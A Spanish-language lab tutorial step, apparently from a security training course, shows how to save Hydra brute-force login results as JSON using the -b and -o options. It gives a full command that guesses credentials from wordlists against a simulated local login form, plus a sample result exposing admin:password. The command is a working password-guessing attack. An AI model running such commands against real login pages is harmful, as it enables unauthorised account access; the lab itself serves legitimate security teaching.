Salida en JSON con la opción -b
En este paso, explorarás cómo obtener la salida de un ataque con Hydra en formato JSON utilizando la opción -b. JSON (Notación de Objetos JavaScript) es un formato ligero de intercambio de datos que es fácil de leer y escribir para los humanos, y fácil de analizar y generar para las máquinas. Este formato es particularmente útil cuando necesitas procesar los resultados programáticamente, por ejemplo, al integrar la salida de Hydra en otras herramientas o scripts.
La opción -b, cuando se combina con la opción -o, le indica a Hydra que guarde la salida en el formato especificado en el archivo. La opción -b requiere un parámetro de formato: text (predeterminado), json o jsonv1.
Continuarás con el mismo escenario: el servidor web simulado que se ejecuta en 127.0.0.1 en el puerto 80 con un formulario de inicio de sesión en /login.php, y los archivos users.txt y passwords.txt.
Para guardar los resultados en formato JSON en un archivo llamado hydra.json en el directorio ~/project, ejecuta el siguiente comando:
hydra -L ~/project/users.txt -P ~/project/passwords.txt -o ~/project/hydra.json -b json 127.0.0.1 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid username or password"
En este comando, has añadido la opción -b json junto con la opción -o ~/project/hydra.json. Esto indica a Hydra que guarde la salida en formato JSON en el archivo hydra.json.
Después de ejecutar el comando, Hydra intentará iniciar sesión con cada combinación de nombre de usuario y contraseña. Si se encuentra un inicio de sesión exitoso, el nombre de usuario y la contraseña se escribirán en el archivo hydra.json en formato JSON.
Para ver el contenido del archivo hydra.json, utiliza el comando cat:
cat ~/project/hydra.json
Ejemplo de Salida (si tiene éxito):
Si Hydra encuentra la combinación admin:password, el archivo hydra.json contendrá un objeto JSON similar a este:
{
"generator": {
"software": "Hydra",
"version": "v9.2",
"built": "2025-05-30 08:10:07",
"server": "127.0.0.1",
"service": "http-post-form",
"jsonoutputversion": "1.00",
"commandline": "hydra -L users.txt -P passwords.txt -o hydra.json -b json 127.0.0.1 http-post-form /login.php:username=^USER^&password=^PASS^:Invalid username or password"
},
"results": [
{
"port": 80,
"service": "http-post-form",
"host": "127.0.0.1",
"login": "admin",
"password": "password"
}
],
"success": true,
"errormessages": [],
"quantityfound": 1
}
Si no se encuentra ningún inicio de sesión exitoso, el archivo hydra.json contendrá un array JSON vacío:
[]
Este formato JSON te permite analizar fácilmente los resultados utilizando lenguajes de scripting como Python o JavaScript para un análisis o automatización posteriores.